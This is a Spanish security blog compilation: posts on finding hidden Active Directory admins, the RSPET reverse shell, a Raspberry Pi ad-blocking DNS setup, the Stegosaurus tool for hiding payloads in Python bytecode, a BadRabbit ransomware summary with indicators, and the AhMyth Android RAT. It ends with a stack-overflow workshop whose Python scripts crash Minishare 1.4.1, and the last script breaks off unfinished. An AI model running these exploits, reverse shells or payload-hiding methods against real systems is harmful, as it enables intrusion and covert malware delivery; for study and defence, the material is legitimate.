Buscando "Shadows Admins" en el DA con ACLight

$
0
0
ACLight de Asaf Hecht (@Hechtov) de CyberArk Labs es un script para la búsqueda avanzada de cuentas privilegiadas incluidos los llamados "Shadows Admins" o "Administradores en la Sombra", cuentas ocultas y privilegiadas que ignoran las organizaciones y que suponen un riesgo para toda la red. Se dice que estas cuentas están "ocultas" porque no son miembros de grupos privilegiados del DA, si no que han ganado sus privilegios a través de la asignación directa de permisos (usando ACLs sobre los objetos del DA).


Desde el punto de vista del atacante estas cuentas son muy "golosas" porque facilitan privilegios administrativos de manera casi desapercibida. Es decir, en vez de crear una nueva cuenta en el grupo "Domain Admins", es mucho más discreto usar un usuario existente y asignarle permisos directamente sin añadirle a ningún grupo.

ACLight ayuda a encontrar estos "Shadows Admins" consultando al Active Directory (AD) por las ACL de sus objetos y luego filtrando y analizando los permisos sensibles de cada uno. El resultado es una lista de cuentas privilegiadas de dominio en la red (desde la perspectiva avanzada de ACL del AD).

Además se puede ejecutar el escaneo con cualquier usuario normal (podría ser un usuario no privilegiado) y escanear automáticamente todos los dominios del bosque de la red auditada.

Su uso es muy sencillo:

Opción 1:
- doble clic en "Execute-ACLight.bat".

Opción 2:
- Abrir PowerShell (con el parámetro -ExecutionPolicy Bypass)
- Ir a la carpeta de "ACLight"
- “Import-Module '.\ACLight.psm1'”
- “Start-ACLsAnalysis”

Una vez ejecutado, encontraremos los siguientes archivos de resultados:

"Accounts with extra permissions.txt": es una lista directa e importante de las cuentas privilegiadas que se descubrieron en la red escaneada.
- "All entities with extra permissions.txt": el archivo enumera todas las entidades privilegiadas que se descubrieron, incluyendo no solo las cuentas de usuario sino también otras entidades "vacías" como grupos vacíos o cuentas antiguas.
- "Privileged Accounts Permissions - Final Report.csv": ieste es el informe de resumen final: en este archivo, encontraremos cuáles son los permisos sensibles exactos que tiene cada cuenta.
- "Privileged Accounts Permissions - Irregular Accounts.csv" : Similar al informe final pero solo las cuentas privilegiadas que tienen asignaciones directas de permisos de ACL (no a través de su membresía grupal).
- "[Domain name] - Full Output.csv" - ACLs en raw para cada dominio explorado.

Fuentes:
- Shadow Admins – The Stealthy Accounts That You Should Fear The Most
- Presentación en la conferencia InfoSecurity
- Repositorio Github: https://github.com/cyberark/ACLight

RSPET, una shell inversa que te ayudará en la post-explotación

$
0
0
RSPET (Reverse Shell and Post Exploitation Tool) es una shell inversa basada en Python y equipada con funcionalidades que ayudan en un escenario de post-explotación. Actualmente la incluyen las distros BlackArch Linux (desde 2016.04.28) y ArchStrike. Sus características actuales son:

- Ejecución remota de comandos
- Cifrado TLS de la comunicación cliente-servidor
- Transferencia de archivos/binarios (en ambos sentidos) sobre el tráfico cifrado enmascarado
- Herramienta de flooding UDP
- Herramienta de spooofing UDP: usa RAW_SOCKETS por lo que para utilizarla el cliente debe ejecutarse en un sistema operativo que los admita (la mayoría basados en Unix) y con privilegios de root. También hay que tener en cuenta que la mayoría de los ISP tienen implementaciones que eliminarán o reestructurarán los paquetes falsificados
- Administración de hosts; transferencias y flooding UDP desde varios o todos los hosts conectados
- Diseño de código modular para permitir una fácil personalización
- El script de cliente ha sido probado y es compatible con PyInstaller (se puede convertir en .exe)
- Soporte completo del plugins del lado del servidor (ver documentación online)
- Administración de plugins, incluida la capacidad de instalar (descargar) y cargar dinámicamente plugins.
- RESTful API para el módulo de servidor

Despliegue:

rspet_server.py se encuentra en la máquina del atacante y se ejecuta para aceptar conexiones
rspet_client.py se encuentra en la(s) máquina(s) infectada(s) e iniciará la conexión y esperará el input.

Instalación:

La ejecución de ./setup.py en la carpeta raíz del proyecto generará los certificados requeridos e instalará todos los componentes necesarios a través de pip.

Por supuesto, se puede instalar manualmente los paquetes pip requeridos ejecutando pip2 install Flask flask-cors. Y también se puede generar el conjunto de certificados de claves (simplemente hay que nombrarlos server.key & server.crt y colocarlos dentro de la carpeta del servidor).

Ejecución:

Servidor:
python rspet_server.py [-c #clients, --ip ipToBind, -p portToBind]
Por defecto max_connections es configurado a 5 sise deja en blanco

RESTful API:
python rspet_server_api.py [-c #clients, --ip ipToBind, -p portToBind]

Cliente:
python rspet_client.py [server_port]
 
Demo:
Proyecto: https://github.com/panagiks/RSPET

Usando la Raspberry Pi para bloquear publicidad

$
0
0
Hola a tod@s,

Voy a explicar como bloquear los molestos anuncios que nos acosan en nuestra navegacion por Internet, utilizando una Raspberry con Debian y Bind, aunque probablemente estos mismos pasos sirvan para cualquier otra distro Linux.

Hasta relativamente hace poco, para bloquear los anuncios usaba componentes instalados en cada dispositivo de la red, lo que es complejo de gestionar. Debido a esto, me propuse implementar un método centralizado de bloquear los anuncios.

Ya que tengo una Raspberry en mi red que ya utilizaba como dns caché, decidí aprovecharla para tratar de bloquear las consultas de dominios que sirven anuncios.

Para evitar que este post se haga muy largo, doy por hecho que ya tenéis instalado Debian/Raspbian en vuestra Raspberry. Una vez tenemos el sistema funcionando, lo primero seria instalar bind.

apt-get install bind9

Aunque este post no va sobre caché dns, ya que vamos a usar bind, vamos a sacarle el máximo provecho. Para que bind funcione como cache dns, y asi poder acelerar nuestras consultas dns, tenemos que modificar el archivo /etc/bind/named.conf.options:

    forwarders {
         208.67.222.222;
         208.67.220.220;
    };

Yo uso los dns de opendns, pero podéis establecer los que mas os gusten.

En este momento ya tendríamos un dns funcional que podríamos usar en cualquier máquina de la red local.

Ahora vamos a ver cómo podemos bloquear los anuncios. Lo primero es buscar un listado de dominios conocidos por servir anuncios. Un listado completo y que se actualiza con frecuencia, lo podéis descargar de https://pgl.yoyo.org/adservers/. Esta web permite descargar el listado en distintos formatos compatibles con dnsmasq, bind, unbound,... Yo voy a descargarlo en el formato que usa bind, y lo guardo en un directorio temporal:

curl -f 'http://pgl.yoyo.org/adservers/serverlist.php?hostformat=bindconfig&showintro=0&mimetype=plaintext' -o /tmp/ad-blacklist

Esto lo hago porque el archivo necesita unos pequeños retoques, que comentaré más adelante

Lo siguiente será crear una zona local en bind que envié las consultas sobre dominios de anuncios a la ip 127.0.0.1. Para ésto creamos el archivo /etc/bind/backhole con el siguiente contenido:

$TTL    86400   ; one day
@       IN      SOA     ads.blackhole.org. hostmaster.blackhole.org. (
               2014090101
                    28800
                     7200
                   864000
                    86400 )        
                NS      ns.blackhole.org
                A       127.0.0.1
@       IN      A       127.0.0.1
*       IN      A       127.0.0.1

Ahora vamos a retocar el archivo con los dominios a bloquear para adaptarlo a nuestra configuración. Para adaptarlo ejecutamos lo siguiente:

sed -i 's/null.zone.file/\/etc\/bind\/blackhole/' /tmp/ad-blacklist

El comando anterior sustituye el nombre del archivo de zona por la ruta completa al archivo de zona que creamos anteriormente.

Copiamos el archivo con el listado ya modificado a /etc/bind. Para hacer esto ejecutamos lo siguiente:

mv -f /tmp/ad-blacklist /etc/bind/ad-blacklist

Ahora tenemos que indicar a bind que use nuestra zona blackhole. Editamos el archivo /etc/bind/named.conf.local e incluimos la siguiente línea:

include "/etc/bind/blackhole";

Por último ya solo faltaría recargar las zonas(rndc reload) y comprobar que esta funcionando correctamente. Para comprobar esto podemos intentar resolver cualquiera de los dominios del listado, por ejemplo de la siguiente forma:

root@host:~/probas# dig +short zv1.november-lax.com @localhost
127.0.0.1

Si la ip que nos devuelve es la 127.0.0.1 quiere decir que todo esta correcto.

Ahora para que los clientes de la red usen nuestro dns tuneado, tendríamos que usar dhcp o configurarlo manualmente en cada dispositivo. Eso ya queda en vuestras manos.

Por ultimo, para mantener actualizado el listado de dominios a bloquear, podemos meter los comando anteriores en una tarea cron que lo automatice. Para esto creamos el archivo /etc/cron.d/bind-blackhole-ads con el siguiente contenido:

13 6 * * * root curl -f 'http://pgl.yoyo.org/adservers/serverlist.php?hostformat=bindconfig&showintro=0&mimetype=plaintext' -o /tmp/ad-blacklist; sed -i 's/null.zone.file/\/etc\/bind\/blackhole/' /tmp/ad-blacklist; mv -f /tmp/ad-blacklist /etc/bind/ad-blacklist; /usr/sbin/rndc reload

El comando anterior se ejecuta todos los dias a las 06:13, y se encarga de actualizar el listado de dominios y recargar la configuración en bind.

Un saludo.

Artículo cortesía de Romám

Stegosaurus: una herramienta de esteganografía para embeber payloads dentro de bytecode de Python

$
0
0
Stegosaurus es una herramienta de esteganografía que permite incrustar payloads en archivos Python de bytecode (pyc o pyo).

El proceso de incorporación no altera el comportamiento del tiempo de ejecución o el tamaño del fichero portador (en adelante carrier) y, por lo general, da como resultado una codificación de baja densidad.

El payload se dispersa en todo el bytecode, por lo que herramientas como strings no mostrarán el payload. El módulo dis de Python devolverá los mismos resultados para el bytecode antes y después de que Stegosaurus se utilice para incrustar un payload.

En este momento, no se conocen trabajos previos o métodos de detección para este tipo de entrega de payloads.

Stegosaurus requiere Python 3.6 o posterior.

Uso
$ python3 -m stegosaurus -h
usage: stegosaurus.py [-h] [-p PAYLOAD] [-r] [-s] [-v] [-x] carrier

positional arguments:
  carrier               Carrier py, pyc or pyo file

optional arguments:
  -h, --help            show this help message and exit
  -p PAYLOAD, --payload PAYLOAD
                        Embed payload in carrier file
  -r, --report          Report max available payload size carrier supports
  -s, --side-by-side    Do not overwrite carrier file, install side by side
                        instead.
  -v, --verbose         Increase verbosity once per use
  -x, --extract         Extract payload from carrier file

Ejemplo

Supongamos que queremos incrustar un payload en el bytecode del siguiente script en Python, denominado example.py:
"""Example carrier file to embed our payload in.
"""

import math

def fibV1(n):
    if n == 0 or n == 1:
        return n
    return fibV1(n - 1) + fibV1(n - 2)

def fibV2(n):
    if n == 0 or n == 1:
        return n
    return int(((1 + math.sqrt(5))**n - (1 - math.sqrt(5))**n) / (2**n * math.sqrt(5)))

def main():
    result1 = fibV1(12)
    result2 = fibV2(12)

    print(result1)
    print(result2)

if __name__ == "__main__":
    main()

El primer paso es usar Stegosaurus para ver cuántos bytes puede contener nuestro payload sin cambiar el tamaño del archivo carrier.
$ python3 -m stegosaurus example.py -r
Carrier can support a payload of 20 bytes

Ahora ya sabemos que podemos incrustar de manera segura un payload de hasta 20 bytes. Con la opción -s instalaremos el carrier "side-by-side" con el bytecode sin modificar.
$ python3 -m stegosaurus example.py -s --payload "root pwd: 5+3g05aW"
Payload embedded in carrier

Al mirar en el disco, tanto el carrier como el bytecode original tienen el mismo tamaño:
$ ls -l __pycache__/example.cpython-36*
-rw-r--r--  1 jherron  staff  743 Mar 10 00:58 __pycache__/example.cpython-36-stegosaurus.pyc
-rw-r--r--  1 jherron  staff  743 Mar 10 00:58 __pycache__/example.cpython-36.pyc

Nota: Si se omite la opción -s, se sobrescribe el bytecode original.

El payload puede extraerse pasando la opción -x a Stegosaurus:
$ python3 -m stegosaurus __pycache__/example.cpython-36-stegosaurus.pyc -x
Extracted payload: root pwd: 5+3g05aW

El payload no tiene porque ser una cadena de caracteres en ascii, también son compatibles shellcodes:
$ python3 -m stegosaurus example.py -s --payload "\xeb\x2a\x5e\x89\x76"
Payload embedded in carrier

$ python3 -m stegosaurus __pycache__/example.cpython-36-stegosaurus.pyc -x
Extracted payload: \xeb\x2a\x5e\x89\x76

Para mostrar que el comportamiento del código de Python en tiempo de ejecución permanece después de que Stegosaurus incruste el payload:
$ python3 example.py
144
144

$ python3 __pycache__/example.cpython-36.pyc
144
144

$ python3 __pycache__/example.cpython-36-stegosaurus.pyc
144
144

Salida de strings después de que Stegosaurus incruste el payload (observa que el payload no se muestra):
$ python3 -m stegosaurus example.py -s --payload "PAYLOAD_IS_HERE"
Payload embedded in carrier

$ strings __pycache__/example.cpython-36-stegosaurus.pyc
.Example carrier file to embed our payload in.
fibV1)
example.pyr
math
sqrt)
fibV2
print)
result1
result2r
main
__main__)
__doc__r

__name__r
<module>

$ python3 -m stegosaurus __pycache__/example.cpython-36-stegosaurus.pyc -x
Extracted payload: PAYLOAD_IS_HERE

Ejemplo de salida del módulo dis de Python, que no muestra diferencias antes y después de que Stegosaurus incorpore su payload:

Antes:

20 LOAD_GLOBAL              0 (int)
22 LOAD_CONST               2 (1)
24 LOAD_GLOBAL              1 (math)
26 LOAD_ATTR                2 (sqrt)
28 LOAD_CONST               3 (5)
30 CALL_FUNCTION            1
32 BINARY_ADD
34 LOAD_FAST                0 (n)
36 BINARY_POWER
38 LOAD_CONST               2 (1)
40 LOAD_GLOBAL              1 (math)
42 LOAD_ATTR                2 (sqrt)
44 LOAD_CONST               3 (5)
46 CALL_FUNCTION            1
48 BINARY_SUBTRACT
50 LOAD_FAST                0 (n)
52 BINARY_POWER
54 BINARY_SUBTRACT
56 LOAD_CONST               4 (2)

Después:
20 LOAD_GLOBAL              0 (int)
22 LOAD_CONST               2 (1)
24 LOAD_GLOBAL              1 (math)
26 LOAD_ATTR                2 (sqrt)
28 LOAD_CONST               3 (5)
30 CALL_FUNCTION            1
32 BINARY_ADD
34 LOAD_FAST                0 (n)
36 BINARY_POWER
38 LOAD_CONST               2 (1)
40 LOAD_GLOBAL              1 (math)
42 LOAD_ATTR                2 (sqrt)
44 LOAD_CONST               3 (5)
46 CALL_FUNCTION            1
48 BINARY_SUBTRACT
50 LOAD_FAST                0 (n)
52 BINARY_POWER
54 BINARY_SUBTRACT
56 LOAD_CONST               4 (2)

Usando Stegosaurus

Los payloads, los métodos de entrega y de recepción dependen completamente del usuario. Stegosaurus solo proporciona los medios para insertar y extraer payloads desde un archivo de bytecode de Python. Debido al objetivo de dejar intacto el tamaño del archivo, se puede usar una cantidad relativamente pequeña de bytes para entregar el payload. Esto puede requerir la distribución de payloads más grandes a través de múltiples archivos de bytecode, lo que tiene algunas ventajas, tales como:

  •     Entrega de un payload en fragmentos a lo largo del tiempo
  •     Algunas partes del payload pueden repartirse en varias ubicaciones y unirse cuando sea necesario
  •     Una sola porción comprometida no divulga todo el payload
  •     Evita la detección de un payload completo mediante la difusión a través de múltiples archivos aparentemente no relacionados
Nota: la posibilidad de distribuir grandes payloads a través de múltiples archivos de bytecode de Python no está implementada por el momento, ver TODO. 

Cómo funciona Stegosaurus 

Para incrustar un payload sin aumentar el tamaño del archivo, las zonas "muertas" deben identificarse dentro del bytecode. Una zona muerta se define como cualquier byte que, si se modifica, no afectará el comportamiento del script de Python. Python 3.6 introdujo zonas muertas fáciles de explotar. Sin embargo, miramos atrás un poco a la historia para establecer el escenario. 

El intérprete de referencia de Python, CPython tiene dos tipos de opcodes: los que tienen argumentos y los que no. En Python <= 3.5 las instrucciones en el bytecode ocupaban 1 o 3 bytes, dependiendo de si el opcode tomaba un valor o no. En Python 3.6 esto se cambió para que todas las instrucciones ocupen dos bytes. Los que no tienen argumentos simplemente establecen el segundo byte a cero y se ignora durante la ejecución. Esto significa que para cada instrucción en el bytecode que no toma un algoritmo, Stegosaurus puede insertar con seguridad un byte de payload. 

Algunos ejemplos de opcodes que no toman un argumento:
BINARY_SUBTRACT
INPLACE_ADD
RETURN_VALUE
GET_ITER
YIELD_VALUE
IMPORT_STAR
END_FINALLY
NOP
...

Para ver un ejemplo de los cambios en el bytecode, echa un vistazo al siguiente fragmento de Python:
def test(n):
    return n + 5 + n - 3

Usando dis con Python inferior a 3 .6:
0  LOAD_FAST                0 (n)
3  LOAD_CONST               1 (5)    <-- opcodes with an arg take 3 bytes
6  BINARY_ADD                        <-- opcodes without an arg take 1 byte
7  LOAD_FAST                0 (n)
10 BINARY_ADD         
11 LOAD_CONST               2 (3)
14 BINARY_SUBTRACT     
15 RETURN_VALUE

# :( no easy bytes to embed a payload

 
Sin embargo, con Python 3.6:
0  LOAD_FAST                0 (n)
2  LOAD_CONST               1 (5)    <-- all opcodes now occupy two bytes
4  BINARY_ADD                        <-- opcodes without an arg leave 1 byte for the payload
6  LOAD_FAST                0 (n)
8  BINARY_ADD
10 LOAD_CONST               2 (3)
12 BINARY_SUBTRACT
14 RETURN_VALUE

# :) easy bytes to embed a payload

Pasando -vv a Stegosaurus podemos ver cómo el payload está incrustado en estas zonas muertas:
$ python3 -m stegosaurus ../python_tests/loop.py -s -p "ABCDE" -vv
Read header and bytecode from carrier
BINARY_ADD (0)
BINARY_ADD (0)
BINARY_SUBTRACT (0)
RETURN_VALUE (0)
RETURN_VALUE (0)
Found 5 bytes available for payload
Payload embedded in carrier
BINARY_ADD (65)      <-- A
BINARY_ADD (66)      <-- B
BINARY_SUBTRACT (67) <-- C
RETURN_VALUE (68)    <-- D
RETURN_VALUE (69)    <-- E

Nota: Se eliminan de los registros los timestamps y niveles de depuración para facilitar la lectura.
 
Actualmente esta es la única zona muerta que explota Stegosaurus. Las mejoras futuras incluyen más identificación de zonas muertas como se menciona en
el TODO.

TODO
  • Agregar la opción de autodestrucción -d que purgará el payload del carrier después de la extracción
  • Método de soporte para distribuir el payload a través de múltiples archivos carrier
  • Proporcionar el indicador -t para probar si un payload puede estar presente dentro de un archivo carrier
  • Encontrar más zonas muertas dentro del bytecode para colocar el payload
  • Agregar una opción -g para aumentar el tamaño del archivo para admitir payloads más grandes para que los usuarios no se preocupen por un cambio en el tamaño del archivo (por ejemplo, si Stegosaurus se inyecta en un pipeline)
Contribuciones

Gracias a S0lll0s por:

     Evitar colocar el payload en largas ejecuciones de opcodes que no tengan un argumento, ya que esto puede llevar a la exposición del payload a través de herramientas como strings.

Contacto

Para cualquier pregunta, contactar con el autor:

Jon Herron
 

jon dot herron at yahoo.com

Fuente:https://bitbucket.org/jherron/stegosaurus/src

Qué es lo que hay que saber (de momento) de la nueva amenaza de #ransomware #BadRabbit

$
0
0
Algunos han despertado hoy reviviendo viejas pesadillas con el ransomware...  los sistemas del Metro de Kiev, el aeropuerto de Odessa y varias organizaciones en Rusia confirmaban que sus sistemas informáticos se habían visto bloqueados debido a que los archivos del sistema operativo habían sido cifrados por un ransomware, esta vez el turno es del denominado BadRabbit.

La amenaza se extiende a otros países de Europa del Este: Alemania, Turquía, Bulgaria, Montenegro... conviene fijar la mirada a este nuevo y lucrativo malware, para lo que me quedo con la síntesis del repositorio de Github de Royce Williams y las noticias que van surgiendo. Que el ransomware nos pille confesados...

Breve descripción:

BadRabbit es un ransomware que es capaz de propagarse de forma local a través de SMB (rescate: $ 0.05 BTC).


Hasta ahora, es dirigido principalmente a Rusia y Ucrania, además de otros países (Alemania, Turquía, Bulgaria, Montenegro). Aunque parece que no se autopropaga a nivel mundial,  podría dirigirse a objetivos seleccionados a propósito.
Las mitigaciones son similares a las de Petya / NotPetya.

Infección inicial:

Aparece como una actualización de flash falsa:

https://twitter.com/jiriatvirlab/status/922835700873158661/photo/1
Es probable que las infecciones sean del tipo watering-hole/drive-by, pero también pueden ser dirigidas selectivamente.

Objetivos:

Mayormente afecta a .ru /.ua hasta ahora. Medios de comunicación, transporte, gobierno pueden haber sido los primeros objetivos.
 

Watering holes en Alemania, Turquía, Bulgaria y Montenegro.
Avast dice también Polonia y Corea del Sur?



Lista de extensiones de archivo específicas:
 

Imagen Tweet: https://twitter.com/craiu/status/922877184494260227
Texto: https://pastebin.com/CwZfyY2F


Componentes y métodos:

- Usa el binario legítimo y firmado de DiskCryptor para cifrar.
- Está casi confirmado que usa EternalBlue (o al menos activa controles que están a la espera de su uso)

- Incorpora Mimikatz.
- Da un mensaje de usuario "por favor apague el antivirus" en algunas circunstancias.

- También se propaga a través de SMB y WebDAV,  autopropagandose localmente:
        https://twitter.com/GossiTheDog/status/922875805033730048

- Usa una lista de credenciales hardcodeadas: https://pastebin.com/01C05L0C

- C:\WINDOWS\cscc.dat == DiskCryptor (bloquea la ejecución para inocularse?)        https://www.virustotal.com/#/file/682adcb55fe4649f7b22505a54a9dbc454b4090fc2bb84af7db5b0908f3b7806/details

- C:\Windows\infpub.dat == #BADRABBIT "pushed" lateralmente (bloquea la ejecución para inocularse?)          Crear una versión de solo lectura de este archivo puede detener la infección.
https://twitter.com/0xAmit/status/922886907796819968

- Análisis del componente flash_install.php:         https://www.hybrid-analysis.com/sample/630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da?environmentId=100

- Video en acción:
        https://twitter.com/GossiTheDog/status/922858264534142976

- Al parecer, borra los registros de Windows y el journal del sistema de archivos, según ESET
- ¿También instala un keylogger?

- Limpia el sector de arranque y pone kernel al final de la unidad?


- Los C&C y los dominios del payload fueron instalados previamente con mucha antelación:        https://twitter.com/mrjohnkelly73/status/922899328636735488
        https://twitter.com/craiu/status/922911496497238021

- El 13% del código es reusado de  ¡notpeyta        https://analyze.intezer.com/#/analyses/d41e8a98-a106-4b4f-9b7c-fd9e2c80ca7d

- Podría ser una variante de Diskcoder, según ESET

- 10 diferencias entre el código de Petya y el de BadRabbit: https://twitter.com/GroupIB_GIB/status/922958914089562112 

- Análisis interactivo de BadRabbit.exe: https://app.any.run/tasks/9198fd01-5898-4db9-8188-6ad2ad4f0af3

Referencias de cultura contenidas:

- Dragones de Game of Thrones (Drogon, Rhaegal)
 
- Película de hackers (al final de la lista de contraseñas hardcodeadas)

Detección:

- Regla de Yara (creada por un ingeniero de McAfee)
        https://pastebin.com/Y7pJv3tK

IOCs (via ESET)
 
- 79116fe99f2b421c52ef64097f0f39b815b20907infopub.datWin32/Diskcoder.DDiskcoder
- afeee8b4acff87bc469a6f0364a81ae5d60a2adddispci.exeWin32/Diskcoder.DLockscreen
- 413eba3973a15c1a6429d9f170f3e8287f98c21cWin32/RiskWare.Mimikatz.XMimikatz (32-bits)
- 16605a4a29a101208457c47ebfde788487be788dWin64/Riskware.Mimikatz.XMimikatz (64-bits)
- de5c8d858e6e41da715dca1c019df0bfb92d32c0install_flash_player.exeWin32/Diskcoder.DDropper
- 4f61e154230a64902ae035434690bf2b96b4e018page-main.jsJS/Agent.NWCJavaScript on compromised sites

- fbbdc39af1139aebba4da004475e8839- b14d8faf7f0cbcfad051cefe5f39645f
- caforssztxqzf2nm[.]onion
- 1dnscontrol[.]com/flash_install.php
- 1dnscontrol[.]com/install_flash_player.exe
- 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da

Defensa;

  (via @GossitheDog):
- bloquear tráfico entrante SMB
- usar Credential Guard en Windows
- controlar el número de admins
- monitorizar tareas programadas y creación de servicios
- Vacuna: https://twitter.com/0xAmit/status/922911491694694401
    ** Create the following files c:\windows\infpub.dat && c:\windows\cscc.dat
    ** remove ALL PERMISSIONS (inheritance) and you are now vaccinated. :)

Referencias:

- Rough Summary of developing BadRabbit info
- Ukraine cyber police chief says Ukraine hit by 'Badrabbit' malware
- Bad Rabbit: Not-Petya is back with improved ransomware
- Watership downtime: BadRabbit encrypts Russian media, Ukraine transport hub PCs
- BadRabbit ransomware attacks multiple media outlets
- Twitter @GossiTheDog - Bad Rabbit: A new ransomware epidemic is on the rise       
- New Ransomware ‘Bad Rabbit’ Spreading Quickly Through Russia and Ukraine
- Bad Rabbit Ransomware Outbreak Hits Eastern Europe
- Bad Rabbit ransomware
- BadRabbit - Ukranian Metro, Airport hit with ransomware 
- US-CERT . Multiple Ransomware Infections Reported      
- BadRabbit Ransomware Attacks Hitting Russia, Ukraine
- Bad Rabbit: New Ransomware Attack Rapidly Spreading Across Europe
- 'BadRabbit' Ransomware Targets Systems in Russia, Ukraine
- BadRabbit ransomware strikes Eastern Europe

AhMyth, un RAT para Android libre y de código abierto

$
0
0
AhMyth ha liberado el código de un Rat para Android. Bautizado con su mismo nombre, consta de dos partes:

- Lado del servidor: aplicación de escritorio basada en el framework electron (panel de control)
- Lado del cliente: aplicación de Android (puerta trasera)

Para instalarlo tienes dos opciones:

Desde el código fuente

Requisitos:
- Electron (para iniciar la aplicación)
- Java (para generar el apk del backdoor)
- Electron-builder y electron-packer (para hacer los binarios para OSX,WINDOWS,LINUX)

Pasos:
1. git clone https://github.com/AhMyth/AhMyth-Android-RAT.git
2. cd AhMyth-Android-RAT/AhMyth-Server
3. npm start

Desde los binarios

Requisitos:
- Descargar un binario desde https://github.com/AhMyth/AhMyth-Android-RAT/releases
- Java (para generar el apk del backdoor)

Vídeo tutorial:

Fuente: https://github.com/AhMyth/AhMyth-Android-RAT

Taller de iniciación al exploiting: desbordamiento de pila (1)

$
0
0
En 1996 un tal Elias Levy (también conocido como Aleph One y el que fuera webmaster de underground.org y moderador de la lista Bugtraq) publicó en el número 49 del mítico ezine Phrack el paper "Smashing the Stack For Fun & Profit" que popularizó la vulnerabilidad de desbordamiento de búfer de pila.

Con el paso del tiempo han ido surgiendo diversas protecciones contra esta vulnerabilidad como ASLR, DEP o NX, pero la técnica para explotarla sigue siendo básicamente la misma: se trata de escribir más datos en un búfer de la pila de los que tiene asignado (longitud fija), corrompiendo los datos adyacentes de tal manera que es posible inyectar código ejecutable en el programa que está corriendo y tomar control del proceso.

Si queréis repasar un poco la teoría os recomiendo echar un vistazo al artículo original "Smashing the Stack For Fun & Profit", o al reditado en Whiskey Tango Foxtrot sintetizado en castellano en el blog de elhacker.net por el-brujo.
En nuestro caso y con permiso de Antonio Pérez, vamos a repetir los ejercicios del taller "Palizón a la pila" de la pasada edición de la Navaja Negra. De esta manera y con unos sencillos pasos veréis desde el bloqueo inicial del programa por el primer desbordamiento hasta la ejecución intencionada del shellcode, una excelente manera de adentrarse en el mundo del exploiting.

El software que explotaremos es la versión 1.4.1 de Minishare, un pequeño servidor web para compartir ficheros de forma sencilla escrito en MinGW (C/C++) y que funciona en Windows. A la vulnerabilidad se le asignó el CVE-2004-2271 y se trata de un desbordamiento de búfer de pila que se provoca mediante una petición HTTP GET larga.

Para instalar el laboratorio necesitaremos:

- Windows XP SP1
- Immunity Debugger con el script Mona script:
  . http://debugger.immunityinc.com/ID_register.py
  . https://github.com/corelan/mona
- Minishare 1.4.1 instalado en el WinXP
  . https://www.dropbox.com/s/zhivgb79wtbce37/minishare-1.4.1.exe?dl=0

Nada más ejecutar la aplicación de Minishare el servidor se levantará en el puerto 80:


Una vez que tenemos el servidor corriendo, abrimos el depurador Inmunity para analizar el estado de la pila y el valor de registros como el EIP (puntero de instrucción) y el ESP (puntero de pila). También podremos analizar qué sucede cuando la aplicación se ejecuta o falla.


Como se muestra anteriormente, hemos adjuntado el proceso de Minishare en el depurador. Tan pronto como se adjunta el proceso, el depurador toma el control de la ejecución del programa y el proceso se detiene. Podemos presionar F9 para reanudar la ejecución del programa.


Ya estamos listos para fuzzear la aplicación. Como hemos comentado antes, Minishare es vulnerable a solicitudes HTTP GET largas lo que significa que podemos desencadenar la vulnerabilidad enviando una solicitud GET como esta:

GET <lista larga de caracteres> HTTP/1.1 <nueva línea><retorno de carro><nueva línea><retorno de carro>
   
Lo que sería algo así:

GET AAAAA… HTTP/1.1\r\n\r\n

Lo primero que haremos será intentar inundar el espacio asignado al proceso para sobrescribir el EIP. Si dibujamos la representación de la pila:


Para ello y mediante un sencillo script en Python mandamos una petición GET que escribirá 500 letras 'A' (representadas en ASCII por \x41) en el buffer de la aplicación. Cada letra representa una estructura de tipo char que ocupa 1 byte. Por tanto se estarán escribiendo 500 bytes en el buffer de la aplicación.

EXPLOIT A
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

buff="GET "
buff+="\x41" * 500
buff+=" HTTP/1.1\r\n\r\n"

s.send(buff)
s.close()

Sin embargo, si ejecutamos el script anterior no obtenemos ningún comportamiento anómalo. Por lo que en el siguiente subiremos el número de caracteres de 500 a 2000:

EXPLOIT B
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

buff="GET "
buff+="\x41" * 2000
buff+=" HTTP/1.1\r\n\r\n"

s.send(buff)
s.close()

Ahora al ejecutarlo si conseguimos crashear la aplicación o, lo que es lo mismo, hemos conseguido inundar el stack ("smash the stack"):


Como se muestra en el depurador, el registro EIP y ESP se han sobrescrito con nuestro buffer de entrada de A's.

Recordar que el registro EIP tiene una importancia significativa para nosotros ya que la CPU decide qué instrucción ejecutar leyendo su valor y ejecutando la instrucción que se encuentra en esa dirección de memoria. Es decir, al controlar el EIP, podemos controlar el flujo de ejecución de la aplicación.

Lo siguiente será ir dando forma a nuestro exploit para que podamos sobreescribir el EIP con el valor necesario para desviar el flujo de ejecución hacia el shellcode que colocaremos más adelante en la memoria. Pero eso lo veremos en la siguiente entrada de esta pequeña serie... 

Taller de iniciación al exploiting: desbordamiento de pila (2) - controlando el flujo de la aplicación

$
0
0
En la entrada anterior llegamos a sobrescribir el EIP (puntero a la siguiente instrucción) con 41414141, la representación hexadecimal de AAAA, por lo que conseguimos crashear el programa vulnerable (Minishare) al desbordar la pila.
Recordar que el rango para disparar la vulnerabilidad era de 2000 caracteres.

Ahora el objetivo es saber exactamente dónde está el EIP, es decir el offset, para escribirlo de forma controlada con un salto a nuestro shellcode.
Para ello vamos a generar con mona.py un patrón o mapa de caracteres único para que cuando sobrescribamos de nuevo el EIP podamos saber exactamente la posición u offset del EIP. Primero ejecutaremos en la consola de Immunity:

 '!mona pattern_create 2000'


y echamos un vistazo al patrón generado en C:\Program Files\Immunity Inc\Immunity Debugger\pattern.txt:


El siguiente paso será incorporar ese patrón generado al buffer que enviaremos al servidor, "pegándolo" en el siguiente script:

EXPLOIT C
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

buff="GET "

